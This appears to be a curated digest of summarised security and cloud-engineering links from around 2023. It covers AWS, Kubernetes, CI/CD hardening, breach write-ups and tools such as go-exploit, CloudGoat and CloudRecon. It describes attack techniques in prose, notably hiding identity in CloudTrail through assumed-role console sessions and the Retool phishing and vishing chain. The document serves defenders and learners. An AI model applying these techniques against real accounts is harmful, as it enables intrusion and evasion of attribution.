    TL;DR: llm-opstower is an MIT-licensed plugin for the llm CLI from OpsTower.ai that answers natural-language questions about AWS resources, CloudWatch metrics and billing.

    • Install: pip install llm, then llm install from the GitHub zip, llm keys set opstower --value demo, and llm models default opstower.
    • Examples: llm "list each ec2 instance id, name, state, last restart, image, and size" and CloudWatch CPU averages.
    • Access: A demo key uses a live demo AWS account. The docs describe creating a read-only IAM user for your own account.
    • Claims: The vendor says it leads its own DevOps AI Assistant Open Leaderboard for AWS services, metrics and billing. These are self-run evaluations.
    • Status: Described as of October 2023. The last push was August 2024, so the project appears inactive.

    Takeaway: An early example of LLM agents over cloud APIs. If you try something like it, give it only a read-only IAM role.

  • Strategies for the Integration of Software Supply Chain Security in DevSecOps CI/CD Pipelines
    summary

    (Could not fetch full text.)

    TL;DR: NIST SP 800-204D (initial public draft, August 2023) by Ramaswamy Chandramouli (NIST), Frederick Kautz and Santiago Torres-Arias sets out strategies for integrating software supply chain security into DevSecOps CI/CD pipelines for cloud-native applications.

    • Scope: Microservice-based cloud-native apps, often with a service mesh, built through CI/CD pipelines that move code through build, test, package and deploy.
    • Key terms: Actors, artifacts, attestations, provenance, repositories, SBOM, SDLC and SLSA.
    • Driver: Executive Order 14028 on improving the nation’s cybersecurity.
    • Final version: NIST published the final SP 800-204D in February 2024 (doi 10.6028/NIST.SP.800-204D), so this link is to the superseded draft.
    • Source caveat: The PDF could not be text-extracted here. This summary is based on the NIST CSRC publication page (abstract, authors, keywords, dates), not the document body.

    Takeaway: Read the final February 2024 version rather than this draft. It is a useful reference when mapping SLSA, SBOM and attestation controls onto your pipeline.

  • Certified-Kubernetes-Security-Specialist: Curated Resources to Prepare for the CKS Exam
    summary

    TL;DR: Walid Shaari’s CC-BY-SA-4.0 repo curates study resources for the CNCF/Linux Foundation Certified Kubernetes Security Specialist (CKS) exam, cross-referenced to the documentation allowed during the exam.

    • Exam facts (per README): 2 hours, 15-20 hands-on tasks, 67% to pass, valid 2 years, requires a valid CKA, $375 with one free retake within a year.
    • Allowed sites: kubernetes.io/docs, github.com/kubernetes and kubernetes.io/blog, plus the listed third-party tool docs.
    • Legend: Icons mark resources usable in the exam, external resources not allowed in the exam, and items still to verify.
    • Structure: Organised by the official CKS curriculum domains, with links to docs, blogs and videos.
    • Version note: Advises picking the right Kubernetes docs version (e.g. v1.26 as of January 2023). Exam details may have changed since.
    • Status: About 2.1k stars, still updated in 2026.

    Takeaway: A solid study map for CKS. Check the current Linux Foundation exam page for price, version and rules before booking.

  • pht-awsbackup-management: Scripts and IaC for a Ransomware-Resilient AWS Backup System
    summary

    TL;DR: PrimeHarbor’s pht-awsbackup-management provides scripts and CloudFormation for a ransomware-resilient, organisation-wide AWS Backup setup driven by resource tags.

    • Tag-driven tiers: aws_backup_bcp_tier = tier1 (hourly, copied to a second region, 180 days), tier2 (hourly, 180 days), tier3 (daily, 90 days), tier4 (daily, 45 days), or none.
    • Prerequisites: CloudFormation delegated admin, Backup Policies and SCPs enabled in Organizations, an AWS Backup delegated administrator with cross-account monitoring, and resource types opted in per region.
    • Vaults: Deployed to every account and region through an Organizations StackSet, preferably from us-east-1. The stack also creates CentralAWSBackupRole.
    • Setup: Get the root OU ID with aws organizations list-roots --query 'Roots[0].Id' --output text.
    • Status: Small repo (about 16 stars), last push September 2023, no license file.

    Takeaway: A practical pattern of tag-based tiers plus central vaults and SCP guardrails. Adapt it rather than deploy as-is, and test restores, not just backups.

  • aws-list-resources: List Resources in an AWS Account and Regions via the Cloud Control API
    summary

    TL;DR: aws-list-resources from welldone-cloud is a Python script that uses the AWS Cloud Control API to list resources in an account across regions and writes them to a JSON file.

    • Versus Resource Explorer: Cloud Control supports more resource types, needs only read access (no index or view creation), and returns global resources such as IAM roles in each region.
    • Usage: python aws_list_resources.py --regions us-east-1,eu-central-1, or --regions ALL --include-resource-types AWS::EC2::*,AWS::DynamoDB::*.
    • Options: --exclude-resource-types, --include-resource-types (wildcards), --only-store-counts and --profile.
    • Requirements: Python 3.11+ and configured AWS credentials.
    • Limits: Only finds types supported by Cloud Control’s List operation. It filters out AWS default resources, but new defaults may slip through.

    Takeaway: A quick read-only inventory for an unfamiliar or inherited account. Run it on the primary region first, since global resources appear there too.

  • Discover the Benefits of AWS WAF Advanced Rate-Based Rules
    summary

    TL;DR: An AWS Security Blog post (Rodrigo Ferroni, Maksim Akifev, Sep 2023) explains AWS WAF rate-based rules with custom aggregation keys, added in May 2023, which can count requests by attributes other than source IP.

    • Keys: Header, cookie, query parameter, query string, HTTP method, URI path, label namespace, source IP and forwarded IP. Up to five can be combined into one composite key.
    • Count all: Rate-limits all requests matching a required scope-down statement.
    • Use cases: Layer 7 DDoS by User-Agent or session cookie plus IP (for users behind NAT), and API limits by method plus Authorization header with a custom HTTP 429 and Retry-After: 900.
    • Tenancy: Different limits for free and paid tenants via a tenant-id header, or for mutating and read requests.
    • Advice: Keep a blanket IP-based rule as well, since bots can send random or no cookies.
    • Cost: No extra charge. Capacity is 2 WCUs base plus 30 WCUs per custom key (e.g. IP plus cookie = 62 WCUs). Logs gain limitKey and customValues fields.

    Takeaway: If you rate-limit only by IP, add a key per session or API token for authenticated endpoints, and keep the IP rule as a backstop.

  • The Beginner’s Guide to Cybersecurity
    summary

    TL;DR: A Software Analyst Cyber Research (SACR) Substack guide (Sep 2023, by Francis Odum per reader comments) maps the cybersecurity market for newcomers by what an enterprise must protect.

    • Model: Hardware, software, network, people, and data/governance/risk/compliance, each broken into product segments with example vendors.
    • Segments: EDR/XDR, UEM, IoT/OT, enterprise browsers, SAST/DAST/IAST, supply chain, CSPM/CWPP/CIEM/CASB, firewalls, SWG, SASE, identity, SIEM/SOAR, MDR, DLP, email security, DSPM and vulnerability management.
    • Market figures cited: About $200B growing over 11% a year (Gartner), 3,500+ vendors (Momentum Cyber), and the largest pure-play vendor holding about 4% share.
    • Other figures cited: About 40% of ransomware enters via email (Gartner), and ransomware-as-a-service can cost about $40 a month.
    • Argument: Frameworks like CIA and NIST have not stopped rising attacks, so the author argues for returning to fundamentals and expects continued consolidation.
    • Note: Includes promotion for the author’s bootcamp.

    Takeaway: A useful taxonomy if you need to explain security product categories to non-specialists or place a vendor quickly. The market numbers are second-hand and from 2023.

  • Profile-Guided Optimization in Go 1.21
    summary

    TL;DR: Michael Pratt’s Go blog post (Sep 2023) announces that profile-guided optimisation (PGO) is production-ready in Go 1.21 and walks through using it on a sample service.

    • Gains: Workloads typically see 2-7% lower CPU usage in Go 1.21.
    • Usage: Collect a CPU profile (e.g. from net/http/pprof /debug/pprof/profile) and save it as default.pgo in the main package directory. The toolchain then uses it automatically, or you can pass -pgo=<file> to go build.
    • Practice: Commit default.pgo for reproducible builds. Slightly stale profiles still work but should be refreshed. Confirm with go version -m <binary>.
    • Example: A Markdown-to-HTML service improved from about 374.5 µs to 360.2 µs per op (3.83%), and total CPU fell about 3%.
    • Mechanisms: Hot-function inlining (here mdurl.Parse, which also removed heap allocations via escape analysis) and profile-based devirtualisation of interface calls.

    Takeaway: A near-free CPU win for Go services you can profile in production. Add a profile-refresh step to your release process.

  • CloudSec 360 Series: AI and Cybersecurity with tl;dr sec Clint Gibler
    summary

    (Could not fetch full text.)

    TL;DR: A Wiz-hosted webinar registration page in which Clint Gibler (tl;dr sec, then Head of Security Research at Semgrep) reviewed how AI is being applied across cybersecurity.

    • Content (per Wiz listings): A survey of AI-in-security work across cloud, web, AppSec and offensive security, the current landscape, open problems and future direction, with links and tools to try.
    • Date: Wiz’s event page lists 22 September 2023. A later ISF listing describes a pre-recorded version on 13 December 2023.
    • Series: Search results show Gibler as a CloudSec 360 speaker, but one listing treats the AI webinar as a separate Wiz event. The title here may conflate the two.
    • Source caveat: The Goldcast registration page returned no content (JavaScript-only or expired). This summary is based on Wiz and ISF event listings found by web search, not the recording.

    Takeaway: The registration link is probably dead. Look for the recording on Wiz’s events pages or Gibler’s tl;dr sec newsletter, which covers the same AI-in-security material.

  • Static Taint Analysis for Go
    summary

    (Could not fetch full text.)

    TL;DR: Kent Gruber (picatz) wrote about static taint analysis for Go, implemented in his open-source taint library, which traces data from sources such as *net/http.Request to sinks such as database/sql queries.

    • Approach: Builds an SSA call graph rooted at main (callgraphutil.NewGraph), then taint.Check(cg, sources, sinks) returns paths from sources to sinks.
    • SQL injection example: Sinks are (*database/sql.DB).Query, QueryContext, QueryRow and the Tx variants. A finding is reported when the query argument is not an *ssa.Const, i.e. not a constant prepared statement.
    • Sources: HTTP requests and gRPC proto.Message types in the example.
    • Explainability: taint.CheckDetailed with taint.WithSanitizers("html.EscapeString") returns ordered evidence of propagation and sanitiser decisions.
    • Current state: The repo is still maintained and now needs Go 1.26+.
    • Source caveat: The blog is a JavaScript single-page app and the post did not load. This summary is based on the picatz/taint GitHub README, which may have changed since the 2023 post.

    Takeaway: A good starting point if you want custom Go taint rules beyond what gosec or CodeQL give you. Expect to model your own sources, sinks and sanitisers.

  • Container Security Fundamentals Part 6: seccomp
    summary

    TL;DR: Part 6 of Rory McCune’s Container Security Fundamentals series for Datadog Security Labs (Sep 2023) explains seccomp, the syscall filter that acts as a last line of defence for containers.

    • Mechanism: BPF-based filters that allow or deny Linux syscalls. Syscall tables differ by architecture, so profiles must account for that.
    • Docker default: Applied to every container. It is an allowlist, so new kernel syscalls are blocked by default.
    • Real CVE: The default profile blocks CVE-2022-0185, a container escape via unshare. The demo shows unshare failing by default and working with --security-opt seccomp=unconfined.
    • Custom profiles: JSON with defaultAction: SCMP_ACT_ERRNO. The author copies Docker’s default and removes io_uring_enter, io_uring_register and io_uring_setup, citing their role in kernel bugs.
    • Applying: docker run --security-opt seccomp=<profile>.json. Inspektor Gadget can record an app’s syscalls to build a least-privilege profile.
    • Scope: Kubernetes seccomp settings are left for a later series.

    Takeaway: Never run with seccomp=unconfined without a reason. In Kubernetes, make sure workloads use RuntimeDefault and consider blocking io_uring.

  • Introduction to Azure DevOps Workload Identity Federation (OIDC) with Terraform
    summary

    (Could not fetch full text.)

    TL;DR: Jared Holgate (Microsoft, Sep 2023) introduces workload identity federation (OIDC) for Azure DevOps service connections and shows how to configure it with Terraform for credential-free deployments to Azure.

    • Trust setup: A federated credential on an App Registration or user-assigned managed identity, with issuer https://vstoken.dev.azure.com/<organisation-id>, subject sc://<org>/<project>/<service-connection> and audience api://AzureADTokenExchange.
    • Terraform: hashicorp/azurerm >= 3.0.0 and microsoft/azuredevops >= 0.9.0. Use azuredevops_serviceendpoint_azurerm with service_endpoint_authentication_scheme = "WorkloadIdentityFederation", and feed its issuer and subject outputs into azurerm_federated_identity_credential.
    • Pipelines: The DevLabs TerraformTaskV4@4 and Jason Johnson’s Terraform tasks detect the connection type and set auth env vars. The backend uses ARM_USE_AZUREAD: true.
    • Status: Public preview at the time, on by default, scoped to service connections.
    • Source caveat: The techcommunity URL now redirects to a Microsoft login. The summary is based on the same post on devblogs.microsoft.com/devops.

    Takeaway: Moving Azure DevOps Terraform pipelines to workload identity federation removes long-lived service principal secrets. It is worth doing for every service connection.

  • Introducing Infrastructure Manager: Provision Google Cloud Resources with HashiCorp Terraform
    summary

    TL;DR: Google Cloud (Danny Hammo, Vlad Ouzienko, Sep 2023) announced Infrastructure Manager, a generally available managed service that runs Terraform plan and apply for Google Cloud resources.

    • What it does: Runs the Terraform plan/apply workflow for you, so you do not need to build your own pipelines.
    • Content: Works with Google’s pre-packaged Terraform modules, providers and Jump Start Solutions for Compute Engine, Cloud Storage, BigQuery, GKE and more.
    • Integration: Cloud Logging for troubleshooting and Cloud IAM for access control.
    • Positioning: An on-ramp to IaC aligned with Google’s Terraform on Google Cloud maturity model.
    • Docs: cloud.google.com/infrastructure-manager/docs.
    • Missing details: The post gives no pricing, state-management details or limits.

    Takeaway: A managed alternative to running Terraform in your own CI for GCP-only estates. Compare state handling, policy checks and cost with your existing pipeline before switching.

  • AWS SCP Evaluation
    summary

    TL;DR: The AWS Organizations guide explains how service control policies (SCPs) are evaluated across the root, OUs and accounts, with seven worked scenarios.

    • Allow rule: An action is allowed only if an explicit Allow exists at every level from the root, through each OU, to the account. This is why FullAWSAccess is attached everywhere by default.
    • Deny rule: An explicit Deny at any level in the path denies the action for everything below, regardless of lower-level allows.
    • Pitfall: Removing FullAWSAccess at any level without a replacement blocks all actions below it. A deny-only SCP at the root therefore blocks everything.
    • Allowlist strategy: Replace FullAWSAccess with a service allowlist (e.g. ec2:*, cloudwatch:*) at the root or per OU, so new services stay blocked until approved.
    • Combined example: An allowlist plus Deny organizations:LeaveOrganization.
    • Tip: Use IAM service last accessed data to decide which services to allow.
    • Scope: Does not apply to declarative policy types such as backup or tag policies.

    Takeaway: When an SCP change has an unexpected effect, check that an Allow exists at every level of the path. Prefer deny statements for broad guardrails.

  • Access Accounts with AWS Management Console Private Access
    summary

    TL;DR: Suresh Samuel (AWS, Sep 2023, updated Dec 2023) shows how AWS Management Console Private Access restricts console sign-in from your network to a known set of AWS accounts or organisations.

    • Mechanism: PrivateLink interface VPC endpoints for the console and sign-in, with endpoint policies that allow or deny by account, organisation or OU.
    • Routing: Requires Direct Connect or Site-to-Site VPN, a Route 53 Resolver inbound endpoint, a private hosted zone, and conditional forwarding of aws.amazon.com DNS from on-premises.
    • Regions: Start in us-east-1, then add endpoints and records such as <region>.console.aws.amazon.com per region. CloudFormation templates are provided.
    • Related control: The aws:SourceVpc condition key can restrict IAM actions to traffic from the VPC.
    • Limits: Devices off the corporate network can still reach the public console. Docs, health and status subdomains are not supported.
    • Cost: The author estimates about $212.20 a month for two AZs, before usage charges.

    Takeaway: Useful for regulated environments that must stop staff signing into personal or unknown AWS accounts from corporate networks. Pair it with endpoint controls, since it does nothing off-network.

  • Policy Management in Kubernetes Is Changing
    summary

    TL;DR: Emin Alemdar (CNCF Ambassador) argues on the CNCF blog (Sep 2023) that native ValidatingAdmissionPolicy with CEL expressions will change Kubernetes policy management, which today relies on Kyverno and OPA Gatekeeper webhooks.

    • Feature: Policy rules written as Common Expression Language (CEL) inside the Kubernetes API. They can be parameterised and scoped, with no external webhook.
    • Maturity: Alpha in Kubernetes 1.26, beta in 1.28. It was off by default then, needing the feature gate and the admissionregistration.k8s.io v1alpha1 or v1beta1 API.
    • Resources: A ValidatingAdmissionPolicy plus a ValidatingAdmissionPolicyBinding that applies it, e.g. to a namespace.
    • Demo: On 1.27 with v1alpha1, it blocks Deployments with more than five replicas in namespaces labelled environment=demo.
    • Opinion: The author expects Kyverno and Gatekeeper to adapt rather than disappear, and expects native policies to become standard once on by default.

    Takeaway: For simple validation rules, native CEL policies remove a webhook dependency. Keep Kyverno or Gatekeeper for mutation, generation and richer reporting.

  • AWS Identity and Access Management Provides Action Last Accessed Information for More Than 140 Services
    summary

    TL;DR: An AWS What’s New post (14 Sep 2023) says IAM now shows action-level last accessed information for more than 140 services, to help trim unused permissions from roles.

    • What: For each role, you can see which specific actions were used, for services such as CloudWatch, KMS and ELB, not just whether the service was used.
    • Use: Part of periodic access reviews: find unused actions and narrow policies to what the role actually calls.
    • Where: The Access Advisor tab on any IAM resource in the console. A full list of supported services and actions is in the IAM docs.
    • Availability: All regions where the corresponding services are supported.

    Takeaway: Use action last accessed data to right-size roles that were granted service:* during development, after a representative observation period.

  • Amazon CloudWatch Adds Amazon EKS Control Plane Logs as Vended Logs
    summary

    TL;DR: An AWS What’s New post (5 Sep 2023) says Amazon EKS control plane logs are now classed as CloudWatch Vended Logs, which get volume-based tiered pricing.

    • Log types covered: Kubernetes API server, audit, AWS IAM authenticator, controller manager and scheduler logs.
    • Effect: These logs now qualify for the discounted, tiered Vended Logs ingestion pricing instead of standard custom-log pricing.
    • Purpose: Lower cost for publishing control plane logs to CloudWatch to detect and respond to cluster events.
    • Missing details: The post gives no prices. It points to the CloudWatch pricing page.

    Takeaway: If you disabled EKS audit logs because of CloudWatch cost, re-check the numbers under Vended Logs pricing. Audit logs are the main source for Kubernetes incident response.

  • AWS Community: Share and Learn with Our Community of Cloud Enthusiasts
    summary

    TL;DR: community.aws was AWS’s community site for articles and posts by builders and AWS staff. It now 301-redirects to AWS Builder Center (builder.aws.com).

    • Status: The original community.aws content has moved. The link now lands on Builder Center’s home page.
    • Builder Center features: Community articles and spotlights, topic spaces, hackathons, free AWS Workshops with sandbox environments, and a Wishlist to propose and vote on AWS feature requests.
    • Trending topics now: Agentic AI, Amazon Bedrock, Lambda, serverless and DevOps.
    • Source caveat: Summary based on the current Builder Center page. The 2023 community.aws page could not be viewed.

    Takeaway: Update the bookmark to builder.aws.com. The free workshop sandboxes are the most practically useful part.

  • Build Your OCI Images with ko While Still Using GoReleaser!
    summary

    TL;DR: GoReleaser’s docs describe its kos: integration, which builds and publishes Go container images with ko instead of a Dockerfile, reusing the builds settings.

    • Config: A kos: list with repositories (default $KO_DOCKER_REPO; extra repos are copied with crane), tags (default latest, templated) and platforms (default linux/amd64).
    • SBOM: sbom: spdx by default, or none.
    • Base image: base_image defaults to cgr.dev/chainguard/static.
    • Other options: bare, preserve_import_paths, ldflags, env, labels, annotations, user and linux_capabilities.
    • Signing: Manifests are added to artifacts, so docker_signs with artifacts: manifests can sign them.
    • Behaviour: --snapshot publishes to goreleaser.ko.local, and normal runs build only in the publish phase. You must docker login first.
    • Limit: ko does not evaluate per-target env, so .Os and .Arch are unavailable in ko env templates.

    Takeaway: For pure Go services this drops the Dockerfile and gives small distroless images with an SBOM. Pin base_image explicitly so it does not change underneath you.

  • tartufo: Search Git Repositories for High Entropy Strings and Secrets in Commit History
    summary

    TL;DR: tartufo is GoDaddy’s GPL-2.0 Python tool that scans git repositories, across full history and all branches, for secrets using regexes and entropy checks. It is no longer maintained.

    • Status: The README says it is not actively maintained, and the GitHub page shows the repository archived (read-only) on 29 Sep 2026.
    • Detection: High-signal regexes plus Shannon entropy on base64 and hex strings longer than 20 characters in each diff.
    • Modes: Full history scan, or pre-commit mode to screen changes before commit.
    • Options: --entropy/--no-entropy, --regex/--no-regex, --scan-filenames and --output-format json|compact|text|report.

    Takeaway: Do not adopt it for new work. Use a maintained scanner such as gitleaks or TruffleHog for history scans and pre-commit hooks.

  • cloudgoat: Rhino Security Labs’ Vulnerable by Design AWS Deployment Tool
    summary

    TL;DR: CloudGoat is Rhino Security Labs’ BSD-3-Clause vulnerable-by-design cloud lab that deploys capture-the-flag scenarios into your own AWS (and now Azure) account.

    • Scenarios: Easy (e.g. iam_privesc_by_rollback, lambda_privesc), medium (e.g. ec2_ssrf, ecs_takeover, rds_snapshot, bedrock_agent_hijacking) and hard (e.g. rce_web_app, codebuild_secrets, detection_evasion).
    • Install: pipx install cloudgoat, then cloudgoat config aws and cloudgoat config whitelist --auto.
    • Run: cloudgoat create <scenario>, plus list and destroy. Each scenario starts, resets and stops independently.
    • Requirements: Linux or macOS, Python 3.9+, Terraform 1.5.0+, AWS CLI (Azure CLI for Azure scenarios) and jq.
    • Warnings: Never deploy it in production or near sensitive resources. destroy only removes what CloudGoat created.
    • Status: Still maintained by the CloudGoat community. The scenario list has grown since 2023 (now includes AI and Bedrock scenarios).

    Takeaway: A good hands-on AWS attack lab. Use a dedicated throwaway account, keep the IP whitelist on, and destroy scenarios when done.

  • 38TB of Data Accidentally Exposed by Microsoft AI Researchers
    summary

    TL;DR: Wiz Research (Hillai Ben-Sasson, Ronny Greenberg, Sep 2023) found that Microsoft AI researchers exposed 38 TB of internal data through an over-permissive Azure SAS token in a public GitHub repo.

    • Exposure: Disk backups of two employees’ workstations, passwords to Microsoft services, secret keys, and 30,000+ Teams messages from 359 employees.
    • Root cause: robust-models-transfer linked to an Account SAS token scoped to the whole storage account, with full control (not read-only).
    • Expiry: The token’s expiry was extended from 2021 to 6 Oct 2051.
    • Supply chain risk: The models were pickle files, so write access could have allowed code injection into models users downloaded.
    • Timeline: Token committed 20 Jul 2020, reported to MSRC 22 Jun 2023, revoked 24 Jun 2023, disclosed 18 Sep 2023.
    • Advice: Avoid Account SAS for external sharing. Prefer Service SAS with a stored access policy or User Delegation SAS (max 7 days), use dedicated storage accounts for sharing, enable logs, and scan repos for tokens.

    Takeaway: SAS tokens are bearer credentials that are hard to inventory or revoke. Scan your repositories for them and restrict Account SAS at the storage account level.

  • go-exploit: A Go-Based Exploit Framework
    summary

    TL;DR: go-exploit from VulnCheck is a Go framework for writing small, self-contained, consistent exploits suited to large-scale scanning and integration with other tools.

    • Phases: Target verification, version scanning, exploitation, and command and control. They can be chained or run independently.
    • Networking: SSL/TLS auto-detection, per-exploit SSL requirements, full proxy support, and SMB/NetBIOS and other protocol helpers.
    • Payloads: Java gadgets, LDAP and serialiser infrastructure, .NET serialisers, and reverse shell, bind shell and dropper examples.
    • C2: A built-in C2 for catching shells or hosting implants, plus integration with Metasploit and Sliver.
    • Output: Key-value or JSON. Targets can come from lists, files or VulnCheck IP-Intel.
    • Examples: Implementations for CVE-2023-22527 (Confluence) and CVE-2025-0364 (BigAnt). The project is active with newer CVEs added.

    Takeaway: Useful for teams that need reproducible, scriptable exploit checks for vulnerability validation. Run it only against systems you are authorised to test.

  • openrisk: Generate a Risk Score from Nuclei Scan Results
    summary

    TL;DR: openrisk is an experimental ProjectDiscovery Research tool that reads Nuclei scan output and asks an OpenAI model to produce a 0-10 risk score for a single host.

    • Input: Nuclei results as text, markdown or JSON, for one target at a time.
    • Model: The current README says GPT-4o and requires OPENAI_API_KEY.
    • Install: go install -v github.com/projectdiscovery/openrisk@latest. The current README needs a very recent Go toolchain.
    • Run: openrisk -f nuclei_scan_result.txt. The example output gives a score of 10 citing Pantheon, AWS and Netlify takeover findings.
    • Library: It can be embedded via the Options, OpenRisk and IssueProcessor types and GetScore.
    • Caveat: ProjectDiscovery labels it experimental and less tested than its main tools.

    Takeaway: A demo of LLM triage on scanner output, not a calibrated risk model. Note that it sends findings to OpenAI, and do not use the score for prioritisation without human review.

  • How to Rotate: Open-Source Collection of API Key Rotation Tutorials
    summary

    TL;DR: How To Rotate, sponsored by Truffle Security (makers of TruffleHog), is an open-source collection of step-by-step tutorials for rotating leaked API keys for common SaaS providers.

    • Method: Each tutorial covers three steps: generate a new key, replace the compromised one, and revoke the old key.
    • Coverage: AWS, GCP, Azure (DevOps, Functions, Search, Storage), GitHub, GitLab, Slack, Stripe, Twilio, SendGrid, Mailgun, MongoDB, NPM, OpenAI, Tailscale, Square and more.
    • Selection: Tutorials target the keys Truffle Security sees leaked most often.
    • Extras: A Key Rotation 101 section, and contributions via PR following the CONTRIBUTING guide.

    Takeaway: Link it from your secret-leak runbook so responders can rotate a provider’s key without searching vendor docs mid-incident.

  • Source Code Management Platform Configuration Best Practices
    summary

    TL;DR: The OpenSSF Best Practices Working Group (Aug 2023, with contributors from Microsoft, IBM, F5, Snyk, Legit Security and the Linux Foundation) published configuration best practices for GitHub and GitLab.

    • Categories: CI/CD, enterprise, members and access control, repository, and operations.
    • Identity controls: Enforce 2FA and SSO, and keep fewer than three owners or admins per org or repo.
    • Workflow controls: A read-only default workflow token and restrictions on which actions may run.
    • Repo controls: Require code review with two reviewers on the default branch, block force pushes and deletion, enable secret scanning, and use SSL plus a secret on webhooks.
    • Operations: Annual policy reviews, incident response plans, audits and alerts.
    • Tooling: Legit Security’s Legitify (the guide says it detects all listed policies), OpenSSF Allstar and Scorecard.
    • Labels: Each control is tagged with the platform(s) it applies to.

    Takeaway: A concrete baseline for hardening your GitHub or GitLab org. Run Legitify or Scorecard against it to find gaps quickly.

  • When MFA Isn’t Actually MFA
    summary

    TL;DR: Retool’s Snir Kodesh (Sep 2023) describes a social engineering breach that hit 27 cloud customers, all in crypto, and blames Google Authenticator’s cloud sync for turning MFA into effectively single-factor.

    • Phishing: On 27 Aug 2023, SMS phishing about open enrollment led an employee to a fake Okta-style page where they entered credentials and an MFA code.
    • Vishing: The attacker then called with a deepfaked voice posing as IT and got one more code. They used it to add their own device to the employee’s Okta account.
    • Pivot: The Google account session exposed all OTP seeds synced by Google Authenticator, which gave access to the VPN and internal admin tools.
    • Impact: On 29 Aug Retool notified 27 cloud customers. The attacker changed emails and reset passwords. On-prem deployments were not affected.
    • Criticism: Sync is on by default through what Retool calls dark patterns, and admins cannot disable it centrally in Google Workspace.
    • Recommendations: FIDO2 hardware keys, defence in depth, human approval for high-impact actions, and minimal trust between products.

    Takeaway: TOTP codes and synced authenticators can be phished or harvested. Move admin and SSO access to phishing-resistant FIDO2 or passkeys.

  • iamlive: Generate an IAM Policy from AWS, Azure, or GCP Calls Using Client-Side Monitoring or Proxy
    summary

    TL;DR: iamlive (iann0036) generates an IAM policy from the API calls your CLI or SDK actually makes, by listening through AWS client-side monitoring (CSM) or an embedded proxy.

    • Providers: AWS by default. Azure and GCP are in preview and the README warns they may produce incorrect output.
    • Usage: Run iamlive in a separate terminal while you run your CLI, SDK or Terraform commands, then press Ctrl+C to finish.
    • Flags: --provider aws|azure|gcp, --set-ini (temporarily rewrites .aws/config for CSM or the CA bundle), --profile, --fails-only (CSM mode) and --output-file.
    • Install: Release binaries, brew install iann0036/iamlive/iamlive, or go install (Go 1.16+).
    • Other modes: A Lambda extension, Docker, a GitHub Action with Terraform, and LocalStack.

    Takeaway: A quick way to draft least-privilege policies for a Terraform module or script. Review the output, since it only reflects the calls made during that run.

  • dockle: Container Image Linter for Security and Best-Practice Docker Images
    summary

    TL;DR: Dockle from goodwithtech is a container image linter that checks built images against CIS Docker benchmark items and its own best-practice rules.

    • Checkpoints: CIS-DI-0001 to 0011 (e.g. 0001 non-root user, 0009 COPY over ADD), DKL-DI-0001 to 0006 (e.g. clear apt caches, avoid latest) and DKL-LI-0001 to 0003 (e.g. no empty passwords).
    • Run: brew install goodwithtech/r/dockle, then dockle <image>. It can also scan an image tarball.
    • Output: Text, -f json or -f sarif, with -o to save.
    • CI gating: It exits 0 by default. Use --exit-code and --exit-level info|warn|fatal, and skip rules with --ignore, DOCKLE_IGNORES or .dockleignore.
    • Positioning: Unlike Hadolint (Dockerfile lint) and Docker Bench (host and daemon audit), Dockle inspects the built image.
    • License: The repo page is inconsistent (Apache-2.0 in the sidebar, AGPL badge in the README).

    Takeaway: Cheap to add after docker build in CI alongside a CVE scanner. Set --exit-code or it will never fail a build.

  • aws-customer-playbook-framework: Sample Security Playbook Templates for AWS Scenarios
    summary

    TL;DR: An AWS Samples repository of incident response playbook templates for common AWS attack scenarios, meant as a starting point for your own runbooks.

    • 100-200 level: Compromised IAM credentials, DoS/DDoS, CodeCommit exposure, public S3 and RDS resources, SES compromise, unauthorised network changes, and Bedrock and Amazon Q security events.
    • 300-400 level: Cryptojacking, ransom response for EC2 Linux, EC2 Windows, RDS and S3, and SageMaker security events.
    • Supporting docs: A playbook development guide and creation process, a resource glossary, getting help from AWS, VPC Flow Log analysis with Athena, and EC2 forensics.
    • Languages: English plus machine-translated German, Spanish, French, Japanese and Chinese, which AWS says have not been human-reviewed.
    • License: Docs under Creative Commons (the page is inconsistent on CC BY vs CC BY-SA). Sample code is MIT-0.
    • Growth: The repo has expanded since 2023 with AI-service playbooks and an Amazon Q playbook-assistant guide.

    Takeaway: Fork the scenarios that match your threat model, fill in your own contacts, tools and log sources, then test them in tabletop exercises.

  • CloudRecon: Finding Assets from Certificates
    summary

    TL;DR: CloudRecon by Gunnar Andrews and Jason Haddix, presented at DEF CON 31, finds an organisation’s hidden cloud assets by scanning IP ranges and reading the CN and SAN fields of their TLS certificates.

    • Why: Dev sites and product portals often sit on cloud IPs outside the target’s ASN, sometimes with no domain, but still serve HTTPS certificates naming the org.
    • scrape: Live scan of IPs or CIDRs, matching a keyword in certificate fields.
    • store: Downloads certificate orgs, CNs and SANs into your own crt.sh-style database.
    • retr: Searches the stored certificates by keyword.
    • Example: Download merged cloud IPv4 ranges, then CloudRecon scrape -i ipv4_merged.txt -j | tee -a certdb.json, run inside tmux or screen.
    • Install: go install github.com/g0ldencybersec/CloudRecon@latest. Needs CGO and gcc.

    Takeaway: Useful for bug bounty and external attack surface work. Defenders can run the same search for their own org name to find forgotten cloud hosts.

  • AWS Console Session Traceability: How Attackers Obfuscate Identity Through the AWS Console
    summary

    TL;DR: A Gem Security post, now on the Wiz blog after Gem’s acquisition, shows how an attacker with stolen IAM user keys can assume a role and open a federated console session that hides who they are in CloudTrail.

    • Technique (“Console Conceal”): Stolen user key, then AssumeRole, then convert the role session into a console session.
    • Spoofed name: The role session name is free-form and unverified, so the attacker can set it to an innocent user’s email.
    • Broken link: CLI actions carry the temporary key ID from the AssumeRole response, but console actions use a different key ID. Console events also often show internal AWS source IPs.
    • Defence: Require SourceIdentity in role trust policies, set to the caller’s IAM username. It then appears in userIdentity for all later actions.
    • Investigation: Without SourceIdentity, correlate the session name in principalId, the role name and sessionContext.creationDate with the AssumeRole event (up to 1 second earlier). Use ConsoleLogin events for external IPs.
    • Source caveat: The URL redirects to wiz.io/blog, where the post is dated 22 Aug 2024 and credited to Itay Harel. The 2023 Gem original may have differed.

    Takeaway: Enforce sts:SourceIdentity on roles that humans assume. Without it, console activity from assumed roles is hard to attribute.

  • The Dark Side of Tech Culture
    summary

    (Could not fetch full text.)

    TL;DR: A Lettuce Work blog post on Medium titled “The Dark Side of Tech Culture”, about the downsides of tech company culture. Its content could not be retrieved.

    • Status: The page is on Medium’s custom-domain hosting and returned HTTP 403 (Cloudflare block). No mirror or archived copy could be fetched.
    • Topic: Based on the title only, a critique of tech workplace culture. The specific arguments, examples and author are unknown.
    • Source caveat: Web searches for the title and publication found no copies or citations. This summary rests on the title and URL alone.

    Takeaway: Open the original in a browser to decide whether it is worth keeping. Nothing here should be taken as the author’s position.

  • Day-1 Skills That Cybersecurity Hiring Managers Are Looking For
    summary

    TL;DR: Daniel Miessler argues that entry-level security candidates get hired by showing they can be useful on day one, and lists the practical skills hiring managers want.

